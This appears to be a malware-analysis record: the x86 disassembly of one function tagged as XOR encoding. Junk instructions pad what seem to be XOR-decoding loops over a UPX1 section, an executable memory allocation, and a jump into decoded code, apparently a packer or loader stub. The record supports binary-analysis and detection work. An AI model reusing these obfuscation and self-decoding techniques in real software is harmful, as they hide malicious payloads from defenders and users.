Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd96f6720
or eax, esi
and eax, esi
add esi, 0x7fa8f96
popal
add eax, eax
dec eax
not eax
mov esi, 0
mov ecx, edx
not ebx
or ebx, ebx
mov edi, ecx
not ebx
sub ebx, eax
mov edx, edi
add eax, 1
dec ebx
add ebx, 0x7dfbf9c9
inc esi
sub eax, 0x7f41554d
sub eax, 0xadc1fa6e
cmp esi, 0x1008351
jne 0x47afd3
not eax
sub ebx, 0x24ebd56
cmp esi, 0x1008351
je 0x47b01e
mov edx, 0
mov eax, dword [edx]
not ebx
mov eax, 0xa650e77b
or esi, esi
mov eax, esi
and esi, eax
mov ebx, 0x47ada2
sub edx, 0xf30e510e
mov edx, 0x11ffdfec
mov edi, 0x47af96
not eax
sub esi, 0x1acb14f9
mov ecx, dword [ebx]
or eax, edx
and esi, esi
and ecx, 0xff
sub esi, eax
sub esi, 0x9059807e
sub edx, 0x4e871968
xor dword [edi], ecx
or eax, edx
add edx, eax
dec esi
inc edi
mov edx, eax
and esi, edx
mov edx, eax
inc ebx
and eax, esi
mov eax, esi
cmp edi, entry0
jl 0x47b048
mov edx, eax
add edx, edx
add edx, eax
mov esi, edx
inc esi
or esi, edi
sub esi, 0x6450cd0e
mov ecx, 0x47af9a
and esi, edx
inc edi
add edx, esi
mov ecx, dword [ecx]
not ebx
mov ebx, esi
mov ecx, dword [ecx]
and edi, edi
sub ebx, 0x8948a190
sub ebx, edi
push ecx
not esi
add edx, edi
mov ecx, 0x47af96
mov esi, edi
mov esi, edi
mov ecx, dword [ecx]
sub edx, esi
or edi, edi
mov ecx, dword [ecx]
inc edi
sub edx, 1
push 0x47af9e
inc ebx
sub edx, ebx
call ecx
and esi, edi
and edi, edx
and ebx, esi
mov ecx, dword [esp]
add esp, 4
add edx, esi
mov esi, ebx
or edi, ebx
push 0x47afab
inc ebx
sub edi, ebx
sub esp, 4
mov dword [esp], eax
add esi, 0xc33d683e
mov ebx, 0xd155840d
or edi, ebx
call ecx
and esi, ebx
sub edi, 0x1ca9c553
sub esi, 1
push 0x40
sub ebx, 0xdff76571
inc ebx
not ebx
push 0x3000
add esi, 0x8fae2322
add edi, 0xdafc4b46
and edx, edx
push 0x2000015f
mov ebx, edx
mov ebx, 0xd406190c
and edx, edx
sub esp, 4
mov dword [esp], 0
sub edi, 0x731aad94
dec ebx
add esi, ebx
call eax
mov esi, 0x177570bd
mov edx, ebx
add edx, 0x56c34d00
add eax, 0x200000cb
mov edi, 0x5fe0ee27
sub edx, esi
mov ecx, 0xd4585180
mov esi, 0xe622664b
or edi, edx
mov dword [eax], ecx
add edi, 0x6e9d30cd
mov esi, 0x14309880
add ebx, edi
mov ecx, dword [eax]
add esi, 0xeaddd72b
inc ebx
add edi, 0x31bc9ead
cmp ecx, 0xd4585180
je 0x47b1a9
mov ecx, 0
mov bl, byte [ecx]
sub edi, esi
not ebx
and edi, edi
or edi, esi
mov eax, esi
and esi, esi
mov ebx, section.UPX1
mov eax, esi
or eax, eax
mov edi, 0x47ada1
not eax
inc esi
sub eax, 0xd9ce734a
mov edx, 0
mov esi, 0xc93e872a
inc esi
mov esi, eax
mov ecx, 0x47ada2
or esi, esi
sub eax, 1
lea ecx, [edx + ecx]
add eax, 0xa52f9a47
sub eax, esi
mov esi, eax
mov ecx, dword [ecx]
add eax, 0x26481329
add eax, 0xb632fd1f
not eax
and ecx, 0xff
mov esi, eax
add eax, esi
add edx, 1
sub eax, esi
mov eax, esi
cmp edx, 0x1f4
jne 0x47b224
mov edx, 0
dec esi
inc esi
add eax, 0x7f4f99f1
and esi, esi
sub esi, 1
xor dword [ebx], ecx
sub esi, eax
add esi, 0x1432a24e
add ebx, 2
and eax, eax
add esi, 1
cmp ebx, edi
jl 0x47b1d9
mov eax, 0x7e0b5a1c
inc eax
dec eax
sub eax, 0xd75039ec
add esi, 1
mov edx, section.UPX1
and ecx, ecx
mov ebx, ecx
mov edi, section.UPX1
or ebx, ecx
sub ecx, 0x665aa597
mov esi, 0x47ada1
sub ebx, 1
sub ecx, 0x32219f05
inc ecx
mov eax, 0
add ebx, ebx
mov ebx, ecx
sub ebx, ecx
mov al, byte [edi]
add ebx, 0x93e5769c
dec ebx
mov byte [edx], al
add ebx, ecx
sub ecx, ebx
mov ecx, ebx
inc edx
dec ecx
sub ecx, 0x82e48626
add edi, 2
sub ecx, 0xa09c4d4c
add ecx, 1
inc ecx
cmp edi, esi
jle 0x47b29a
sub ebx, ecx
inc ebx
mov esi, 0x5d82acf
dec eax
push 0x45e6a0
inc esi
mov eax, esi
add eax, eax
ret